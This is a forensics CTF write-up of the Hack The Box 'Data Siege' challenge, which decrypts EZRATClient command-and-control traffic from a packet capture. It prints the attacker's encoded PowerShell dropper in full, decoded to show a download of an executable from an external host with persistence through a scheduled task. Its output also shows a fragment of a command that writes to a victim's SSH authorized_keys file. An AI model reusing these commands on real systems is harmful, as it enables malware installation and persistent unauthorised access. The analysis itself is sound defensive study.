Data Siege Writeup - Cyber Apocalypse 2024
- 1 Introduction
- 2 Key Techniques
- 3 Artifacts Summary
- 4 Packet analysis
- 5 Static binary analysis of aQ4caZ.exe (EZRATClient.exe)
- 6 Extracting the RAT communication data from the packet capture
- 7 Obtaining part 3 of the flag
- 8 Creating decryptor.cs to decrypt tcp-stream-5-data.txt
- 9 Compiling decryptor.cs
- 10 Running decryptor.exe to obtain part 1 of the flag
- 11 Running decryptor.exe to obtain part 2 of the flag
- 12 Putting the flag together
- 13 Conclusion
→ 1 Introduction
This writeup covers the Data Siege Forensics challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘medium’ difficulty. The challenge involved the forensic analysis of a RAT (Remote Access Trojan) and its encrypted communications.
The description of the challenge is shown below. Most notably, the description indicates the flag is split into three parts.
→ 2 Key Techniques
The key techniques employed in this writeup are:
- Identifying malware download and communication traffic from a packet capture
- Identifying malware from its SHA256 hash and a VirusTotal search
-
Reverse engineering of a .NET RAT and:
- Extracting a hard coded decryption key
- Extracting decryption code
- Using tshark to automate the extraction of TCP payloads from a packet capture
- Decrypting command and control traffic
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 forensics_data_siege.zip
928a5aa8077e1bce10eaf79b2607b4dd6b69b2b36bbe57d59f8df826e1d248dd forensics_data_siege.zip
The zip file contained a single packet capture file:
$ unzip forensics_data_siege.zip
Archive: forensics_data_siege.zip
inflating: capture.pcap
$ shasum -a256 capture.pcap
183da26c53094646f9fa00415c49f4e4d9d56836eccd33b77e23d36df4735d1d capture.pcap
→ 4 Packet analysis
capture.pcap
was opened in Wireshark. The
Statistics->Protocol Hierarchy
menu indicated there were
three main protocols in use:
- OpenWire
- HTTP
- Undissected Data
→ 4.1 OpenWire traffic identified as irrelevant
The OpenWire traffic was identified as irrelevant, containing no data of interest:
→ 4.2 HTTP download of aQ4caZ.exe
A Wireshark display filter of http
indicated there were
two HTTP GET requests for /nBISC4YJKs7j4I
from
10.10.10.22
to 10.10.10.21
in frames 17 and
24. The responses in frames 20 and 27 each contained a
powershell
command that downloaded
http://10.10.10.21:8000/aQ4caZ.exe
. Based on the context of
the challenge, it was concluded that 10.10.10.21
was an
attacker controlled host and 10.10.10.22
was a victim or
target host.
Frame 32 is the HTTP GET request for /aQ4caZ.exe
. The
response in frame 56 was extracted via the
File->Export Objects->HTTP ...
dialog:
→ 4.3 aQ4caZ.exe identified as EZRATClient.exe
The SHA256 hash of aQ4caZ.exe
was recorded:
$ shasum -a256 aQ4caZ.exe
78c62b084950829e63223ad3af4b0bc92458c6f0c4ce9e23a9322fef6ab89742 aQ4caZ.exe
The hash was identified by VirusTotal as being the EZRATClient.exe RAT.
→ 4.4 Encoded RAT communication data
The data
traffic appeared to be base64 encoded. However,
attempting to base64 decode it resulted in binary data of an unknown
type, as shown for this example from frame 66 of the packet capture:
-
The base64 decoded data is binary:
$ echo -n "gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw" |base64 -d |xxd 00000000: 82cd 6924 3dd4 e5aa 2577 541a 23f2 dd13 ..i$=...%wT.#... 00000010: e86e 54ac 690b f6b3 6ee5 944e cb5b 82b6 .nT.i...n..N.[.. 00000020: c053 dcd6 746e e6b4 ed24 f93f 4caf 45fc .S..tn...$.?L.E. 00000030: 3812 91db 9e33 eada 0838 4663 7783 c008 8....3...8Fcw... 00000040: df2d 0fe9 d3da 7dcf ba7e 4301 b997 df5b .-....}..~C....[ 00000050: ef23 e047 6af7 78a4 31c4 a36e 9829 a530 .#.Gj.x.1..n.).0
-
The base64 decoded data is not identified by the
file
command:$ echo -n "gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw" |base64 -d |file - /dev/stdin: data
The data is likely command and control traffic between the RAT and
the command and control server that has been encoded in some way. This
was noted for future analysis, pending the results of analyzing the
aQ4caZ.exe
binary.
→ 5 Static binary analysis of aQ4caZ.exe (EZRATClient.exe)
→ 5.1 File type identification
aQ4caZ.exe
was identified as a .NET assembly:
$ file aQ4caZ.exe
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
→ 5.2 .NET Decompilation
The free dotPeek application was used in a Windows 11 VM to decompile the binary.
A hard coded encryption key was located in
EZRATClient.Utils::Constantes._encryptKey
:
A decryption function was located in
EZRATClient::Program
→ 6 Extracting the RAT communication data from the packet capture
Returning to capture.pcap
, the communication data was
extracted into tcp-stream-5-data.txt
using tshark
and a bit of shell scripting:
$ tshark -r capture.pcap -Y 'tcp.stream eq 5 and data' -Tfields -e tcp.payload| while read line ; do echo -n "$line" | xxd -r -p && echo ""; done>tcp-stream-5-data.txt
This one liner consists of several pieces:
-
The tshark invocation
tshark -r capture.pcap -Y 'tcp.stream eq 5 and data' -Tfields -e tcp.payload
with options:
-
Read (
-r
)capture.pcap
-
Apply a display filter (
-Y
) of'tcp.stream eq 5 and data
that limits the packets to those from TCP stream 5 that contain data. -
Format the output to only display individual fields
(
-Tfields
), with the field of interest being thetcp.payload
field (-e tcp.payload
)
-
Read (
-
Loop through the TCP payloads and convert them from hex to binary:
while read line ; do echo -n "$line" | xxd -r -p && echo ""; done
with
xxd
options:-
Revert (
-r
) from hex to binary -
Treat the input as plain hexdump style (
-p
) instead of expecting it to contain file offsets as well.
-
Revert (
-
Redirect the output to
tcp-stream-5-data.txt
>tcp-stream-5-data.txt
→ 7 Obtaining part 3 of the flag
A powershell.exe
invocation with an encoded payload was
extracted from tcp-stream-5-data.txt
:
$ grep -i powershell tcp-stream-5-data.txt
powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
A PowerShell script, base64decode.ps1
was written to
decode the above payload:
$ cat base64decode.ps1
$base64EncodedValue = "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
$decodedBytes = [System.Convert]::FromBase64String($base64EncodedValue)
$decodedText = [System.Text.Encoding]::Unicode.GetString($decodedBytes)
Write-Output $decodedText
Executing the script revealed part 3 of the flag in the last line:
$ pwsh -File base64decode.ps1
(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")
$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"
$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM
$settings = New-ScheduledTaskSettingsSet
# 3th flag part:
Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings
→ 8 Creating decryptor.cs to decrypt tcp-stream-5-data.txt
A decryptor.cs
file was created1 to
decrypt tcp-stream-5-data.txt
with the following noteworthy
features:
-
Line 16 contains the encryption key obtained from decompiling
aQ4caZ.exe
. -
Line 71 contains the
Decrypt
function obtained from decompilingaQ4caZ.exe
with a slight modification on line 75 to use the encryption key defined in the current class. -
Line 13 is hard coded to process
./tcp-stream-5-data.txt
-
Line 18 contains a custom
DecryptFromFile
function that reads each new line terminated line from the input file -
Lines 43-54 optionally strip out leading bytes if the special
0xa7
byte is observed, as it was found with some trial and error that some of the lines contain ignorable prefix bytes. - Line 55 ignores the line that starts with “powershell.exe”, which we have already obtained part 3 of the flag from
-
Line 58 invokes the
Decrypt
function and prints the result.
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
public class Decryptor {
public static void Main() {
Decryptor.DecryptFromFile("./tcp-stream-5-data.txt");
}
private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";
public static void DecryptFromFile(string filePath) {
// Check if the file exists
if (File.Exists(filePath))
{
int line_num = 0;
using (FileStream fileStream = new FileStream(filePath, FileMode.Open))
{
using (BinaryReader reader = new BinaryReader(fileStream))
{
byte newline = 0x0a; // Newline character
while (fileStream.Position < fileStream.Length)
{
byte[] lineBytes = new byte[0];
byte currentByte;
while ((currentByte = reader.ReadByte()) != newline && fileStream.Position < fileStream.Length)
{
Array.Resize(ref lineBytes, lineBytes.Length + 1);
lineBytes[lineBytes.Length - 1] = currentByte;
}
line_num += 1;
string to_decrypt = Encoding.UTF8.GetString(lineBytes);
if (lineBytes[0] == 0xa7)
{
to_decrypt = to_decrypt.Substring(1);
}
else if (lineBytes[2] == 0xa7)
{
to_decrypt = to_decrypt.Substring(3);
}
else if (lineBytes[3] == 0xa7)
{
to_decrypt = to_decrypt.Substring(4);
}
if (!to_decrypt.StartsWith("powershell.exe"))
{
Console.WriteLine("---- Attempting to decrypt line " + line_num);
Console.WriteLine(Decryptor.Decrypt(to_decrypt));
}
}
}
}
}
else
{
Console.WriteLine("File not found.");
}
}
public static string Decrypt(string cipherText)
{
try
{
string encryptKey = _encryptKey;
byte[] buffer = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
{
(byte) 86,
(byte) 101,
(byte) 114,
(byte) 121,
(byte) 95,
(byte) 83,
(byte) 51,
(byte) 99,
(byte) 114,
(byte) 51,
(byte) 116,
(byte) 95,
(byte) 83
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(buffer, 0, buffer.Length);
cryptoStream.Close();
}
cipherText = Encoding.Default.GetString(memoryStream.ToArray());
}
}
return cipherText;
}
catch (Exception ex)
{
Console.WriteLine("----ERROR!!!");
Console.WriteLine(ex.Message);
Console.WriteLine("Cipher Text: " + cipherText);
return "error";
}
}
}
Below is an excerpt from tcp-stream-5-data.txt
illustrating the presence of some non-base64 encoded prefixes on some
lines that are stripped by the above code:
The prefixes seemed to end in a telltale 0xa7
byte:
$ xxd tcp-stream-5-data.txt|head -1
00000000: 3234 a731 4268 7559 342f 6e69 546f 7049 24.1BhuY4/niTopI
→ 9 Compiling decryptor.cs
In Kali, the mono-mcs
package was installed:
$ sudo apt install mono-mcs
mcs
was invoked to compile decryptor.cs
to
decryptor.exe
:
$ mcs decryptor.cs
→ 10 Running decryptor.exe to obtain part 1 of the flag
$ ./decryptor.exe|grep -o -e 'HTB.*'
HTB{c0mmun1c4710n5 >> C:\Users\svc01\.ssh\authorized_keys
→ 11 Running decryptor.exe to obtain part 2 of the flag
$ ./decryptor.exe|grep 2nd
2nd flag part: _h45_b33n_r357
→ 12 Putting the flag together
The flag was pieced together:
HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
→ 13 Conclusion
The flag was submitted and the challenge was marked as pwned